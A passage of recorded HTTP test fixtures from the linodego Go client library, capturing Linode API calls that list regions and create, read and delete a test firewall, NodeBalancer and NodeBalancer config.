"ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":228221}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers method: POST response: body: '{"id": 441131, "label": "go-test-def", "region": "ap-west", "hostname": "172-232-87-200.ip.linodeusercontent.com", "ipv4": "172.232.87.200", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "336" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"port":80,"protocol":"http","algorithm":"roundrobin","check_interval":60}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441131/configs method: POST response: body: '{"id": 670349, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": 441131, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "437" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441131/configs/670349 method: GET response: body: '{"id": 670349, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": 441131, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "437" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441131/configs/670349 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441131 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/228221 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestNodeBalancerConfig_Update.yaml000066400000000000000000000657111455402072200332560ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls method: POST response: body: '{"id": 228217, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "outbound_policy": "ACCEPT"}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "526" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed 